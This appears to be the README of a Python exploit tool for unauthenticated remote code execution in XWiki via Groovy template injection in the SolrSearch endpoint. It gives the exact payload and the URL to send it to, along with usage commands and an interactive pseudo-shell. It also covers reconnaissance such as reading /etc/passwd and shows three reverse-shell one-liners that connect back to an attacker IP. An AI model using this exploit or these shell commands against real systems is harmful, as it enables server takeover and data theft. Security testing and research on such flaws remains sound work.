
Unauthenticated Remote Code Execution in XWiki via SolrSearch Macro
A Python exploit for XWiki Server-Side Template Injection (SSTI) vulnerability via Groovy template injection in the SolrSearch endpoint.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
This will give you an interactive pseudo-shell where you can run commands:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: Target URL (required)-c, --command CMD: Execute single command--test: Test if target is vulnerable--no-verify-ssl: Disable SSL certificate verification--debug: Enable debug outputInformation Gathering:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Find Interesting Files:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Network Information:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Establish Reverse Shell:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
The exploit uses the following SSTI payload structure:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
The payload is URL-encoded and sent to the vulnerable endpoint:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
The server processes the Groovy template and executes the command
The output is captured from the RSS feed response in the format:
search on [}}OUTPUT]
The exploit parses the HTML response to extract the command output
xwiki user (uid=997)/usr/lib/xwiki-jettyThis tool is for educational and authorized penetration testing purposes only. Only use it on systems you have permission to test.